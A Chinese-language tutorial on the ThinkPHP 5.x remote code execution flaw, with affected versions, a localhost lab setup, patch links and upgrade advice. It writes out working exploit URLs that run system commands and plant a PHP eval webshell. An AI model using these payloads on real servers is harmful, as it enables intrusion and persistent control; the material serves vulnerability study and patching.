ThinkPHP远程代码执行漏洞是什么样的
本篇文章为大家展示了ThinkPHP远程代码执行漏洞是什么样的,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。
ThinkPHP是一个快速、简单的基于MVC和面向对象的轻量级PHP开发框架。
Thinkphp5.x版本中存在一个严重的远程代码执行漏洞。这个漏洞的主要原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语句执行远程命令
影响范围
Thinkphp 5.1.0 - 5.1.31
Thinkphp 5.0.5 - 5.0.23
漏洞利用
环境介绍:
thinkphp5.0.22+php5.4.45+ apache2.4.23
首先搭建好相应的环境,页面访问如下:
当看到框架为thinkphp5.x时,我们需要的就是验证是否存在远程代码执行漏洞
http:// localhost/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
3.确认此处存在远程代码执行后,写入shell
http:// localhost/public/index.php?s =index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php eval(@$_POST['a']); ?>
4.尝试用菜刀进行连接,连接成功
当然这里我们也可以选择直接上传大马
相比手工,我们也可以选择工具直接getshell都是可以的
修复建议
1、打补丁:
Thinkphp v5.0.x补丁地址:
https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
Thinkphp v5.1.x补丁地址:
https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
2、更新框架版本
参考链接
exploit地址:
https://www.exploit-db.com/exploits/45978
框架下载地址:
http://www.thinkphp.cn/donate/download/id/1125.html
docker漏洞环境源码:
https://github.com/vulnspy/thinkphp-5.1.29
https://www.gendan5.com
上述内容就是ThinkPHP远程代码执行漏洞是什么样的,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注编程网行业资讯频道。
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341